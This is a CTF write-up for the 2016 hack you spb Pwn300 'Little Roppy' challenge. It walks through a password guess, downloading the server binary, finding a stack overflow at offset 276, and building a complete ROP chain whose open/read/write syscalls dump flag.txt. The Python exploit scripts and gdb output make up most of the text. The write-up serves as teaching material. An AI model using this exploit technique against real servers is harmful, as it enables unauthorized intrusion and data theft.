social



hack you spb CTF 2016 - Pwn300 Little Roppy writeup

This time we're given only a server address and a hint that the username is admin and the password is three letters. My first instinct was naturally to try 'god', and that did work, saving me some time. Some exploration followed:

(ctf)tr@karabut.com:~/work/hackyouctf16/pwn300$ nc 109.233.56.90 11081
Username: admin
Password: god

Welcome!

1. List directory
2. Print file
3. Log out
> 1

Current directory:
- secure_shell.elf
- welcome
- flag.txt
- help

1. List directory
2. Print file
3. Log out
> 2

Enter file name: flag.txt
Access denied.

1. List directory
2. Print file
3. Log out
> 2

Enter file name: help
Content of file:
1. Authenticate using username 'admin' and password 'god'
2. Say '1' to list directory
3. Say '2' to read a file
4. Say '3' to exit

So we can't print the contents of flag.txt (duh), but we can do that with secure_shell.elf, which is presumably the server-side binary. Let's write a script to download it and then check it for security features:

import socket

def recvuntil(s,end):
    buf = ''
    data = s.recv(1)
    while data:
        buf += data
        if buf.endswith(end):
            return buf
        data = s.recv(1)
    return buf

s = socket.socket()
s.connect(('109.233.56.90', 11081))

recvuntil(s, ':')
s.send('admin\n')
recvuntil(s, ':')
s.send('god\n')
recvuntil(s, '>')
s.send('2\n')
recvuntil(s, ':')
s.send('secure_shell.elf\n')
recvuntil(s, 'Content of file:\n')
data = recvuntil(s, "\n1. List directory\n")

with open('secure_shell.elf','wb') as f:
    f.write(data[:-len("\n1. List directory\n")])
(ctf)tr@karabut.com:~/work/hackyouctf16/pwn300$ python fetch_binary.py
(ctf)tr@karabut.com:~/work/hackyouctf16/pwn300$ checksec secure_shell.elf
[*] '/home/tr/work/hackyouctf16/pwn300/secure_shell.elf'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

It looks like there's no stack overflow mitigations in place, so exploitation should be pretty easy. The binary is very large and seems to be heavily obfuscated, obviously made to facilitate searching for ROP gadgets, but we don't really need to understand it, as it processes user input in only four places. The filename would be my first guess for an overflow attack:

(ctf)tr@karabut.com:~/work/hackyouctf16/pwn300$ python -c "print 'admin\ngod\n2\n' + 'A'*4000" > test.txt
(ctf)tr@karabut.com:~/work/hackyouctf16/pwn300$ ./secure_shell.elf < test.txt
Username: Password:
Welcome!

1. List directory
2. Print file
3. Log out
>
Enter file name: Could not open file.
Segmentation fault (core dumped)

What do you know, a second right hunch in a row! Now, let's generate a cyclic pattern to determine the correct padding for our shellcode (I use this script here):

(ctf)tr@karabut.com:~/work/hackyouctf16/pwn300$ python -c "print 'admin\ngod\n2'" > test2.txt
(ctf)tr@karabut.com:~/work/hackyouctf16/pwn300$ python pattern.py 4000 >> test2.txt
(ctf)tr@karabut.com:~/work/hackyouctf16/pwn300$ gdb secure_shell.elf
...
Reading symbols from secure_shell.elf...(no debugging symbols found)...done.
(gdb) run < test2.txt
Starting program: /home/tr/work/hackyouctf16/pwn300/secure_shell.elf < test2.txt
Username: Password:
Welcome!

1. List directory
2. Print file
3. Log out
>
Enter file name: Could not open file.

Program received signal SIGSEGV, Segmentation fault.
0x41326a41 in ?? ()

We got 0x41326a41, or 'Aj2A', in our EIP. Let's check the offset:

(ctf)tr@karabut.com:~/work/hackyouctf16/pwn300$ python pattern.py Aj2A
Pattern Aj2A first occurrence at position 276 in pattern.

Searching for the string "Access denied" in the data section with radare2, we find that what the fuction referring to it does is it checks if the input string contains either "flag.txt" or "..", printing "Access denied" and returning if it does, and dumping contents of the correspondingly named file in the current directory otherwise; of course, it also means that we conveniently have the "flag.txt" string right here in the binary itself. So our payload will be rather simple: we just open flag.txt, try to read 256 bytes to a writable section (e.g. the bss segment) from it and then write them to stdout. We know beforehand that the file descriptor will be 3, because it will be the only file opened by this process, and it's very easy to find mov eax, X, pop edx, ecx, ebx and int 0x80 ROP gadgets in the binary with ROPgadget or any other tool you like. So this is our planned shellcode:

mov eax, 5
mov ebx, flag_addr
xor ecx, ecx
int 0x80    ; open(flag.txt, 0)

mov eax, 3      
mov ebx, 3
mov ecx, bss_addr
mov edx, 0xff
int 0x80    ; read(3, bss, 256) 

mov eax, 4
mov ebx, 1
int 0x80    ; write(1, bss, 256)

And this is how we string it all together:

import socket
import struct

def recvuntil(s,end):
    buf = ''
    data = s.recv(1)
    while data:
        buf += data
        if buf.endswith(end):
            return buf
        data = s.recv(1)
    return buf

flag_addr = struct.pack('<I', 0x080becdf)
bss_addr = struct.pack('<I', 0x080ebf80)

pop_edx_ecx_ebx = struct.pack('<I', 0x0806fb30)
pop_ecx_ebx = struct.pack('<I', 0x0806fb31)
pop_ebx = struct.pack('<I', 0x0806fb32)
mov_eax_3 = struct.pack('<I', 0x08097d10)
mov_eax_4 = struct.pack('<I', 0x08097d20)
mov_eax_5 = struct.pack('<I', 0x08097d30)
int_80h = struct.pack('<I', 0x080701d0)

payload = mov_eax_5 + pop_ecx_ebx + '\x00'*4 + flag_addr + int_80h 
payload += mov_eax_3 + pop_edx_ecx_ebx + '\xff\x00\x00\x00' + bss_addr + '\x03\x00\x00\x00' + int_80h
payload += mov_eax_4 + pop_ebx + '\x01\x00\x00\x00' + int_80h
#pop_edx_ecx_ebx + '\x08\x00\x00\x00' + flag_addr + '\x01\x00\x00\x00' + int_80h

s = socket.socket()
s.connect(('109.233.56.90', 11081))

recvuntil(s, ':')
s.send('admin\n')
recvuntil(s, ':')
s.send('god\n')
recvuntil(s, '>')
s.send('2\n')
recvuntil(s, ':')
s.send('A'*276 + payload + '\n')
recvuntil(s, 'Could not open file.\n')
print s.recv(1024)
tr@karabut.com:~/work/hackyouctf16/pwn300$ python crack.py
w00t!_i_ropp3d_my_w4y_thr0u6h_h4ck_y00
...